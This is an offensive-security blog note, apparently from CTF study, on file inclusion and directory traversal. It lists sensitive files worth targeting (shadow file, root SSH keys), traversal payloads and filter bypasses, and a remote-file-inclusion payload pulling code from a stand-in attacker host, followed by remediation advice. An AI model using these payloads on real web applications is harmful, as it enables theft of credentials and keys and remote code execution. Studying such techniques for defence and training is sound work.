boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

File Inclusion (Directory Traversal)

File inclusion and directory traversal let an attacker read files outside the web root by abusing a parameter that loads a file. This note lists common target files, the payloads that reach them, filter bypasses, and remediation.

Files Worth Reading

LocationDescription
/etc/issuecontains a message or system identification to be printed before the login prompt.
/etc/profilecontrols system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/versionspecifies the version of the Linux kernel
/etc/passwdhas all registered user that has access to a system
/etc/shadowcontains information about the system's users' passwords
/root/.bash_historycontains the history commands for root user
/var/log/dmessagecontains global system messages, including the messages that are logged during system startup
/var/mail/rootall emails for root user
/root/.ssh/id_rsaPrivate SSH keys for a root or any known valid user on the server
/var/log/apache2/access.logthe accessed requests for Apache webserver
C:\boot.inicontains the boot options for computers with BIOS firmware

Payloads and Bypasses

When conducting directory traversal attacks, we can look for the proper directory by typing after a function like .php?file= with ../../etc/passwd.

  1. In some instances, we may need to supply a nullbyte to stop a function trying to add a file extension at the end of our payload. This is done with %00 and looks like this:

    .php?file=../../etc/passwd%00
    
  2. Another way is ../../etc/passwd/.

  3. Often developers will implement input validation and replace ../ with empty strings, so .php?file=../../etc/passwd throws an error: Warning:include(file/etc/passwd). That error is a sign the ../ were replaced with empty strings.

  4. We can bypass this with the payload .php?file=....//....//....//....//....//etc/passwd.

    1. This works because PHP only searches and replaces the first subset string identified in the input validation ../.
  5. Another workaround is supplying input to include a directory and using HEX: .php?file=THM-profile%2F..%2F..%2F..%2F..%2Fetc%2Fos-release

    1. This translates to: .php?file=THM-profile/../../../../etc/os-release
  6. Lastly, an RFI attack is where a PHP function doesn't sanitize input and allows an external call, i.e. a malicious file hosted on a server owned by the attacker. The PHP function runs a GET request and then executes the file on the victim server: .php?file=http://attacker.thm/file.txt

Remediation Steps

  1. Keep system and services, including web application frameworks, updated with the latest version.
  2. Turn off PHP errors to avoid leaking the path of the application and other potentially revealing information.
  3. A Web Application Firewall (WAF) is a good option to help mitigate web application attacks.
  4. Disable some PHP features that cause file inclusion vulnerabilities if your web app doesn't need them, such as allow_url_fopen on and allow_url_include.
  5. Carefully analyze the web application and allow only protocols and PHP wrappers that are in need.
  6. Never trust user input, and make sure to implement proper input validation against file inclusion.
  7. Implement whitelisting for file names and locations as well as blacklisting.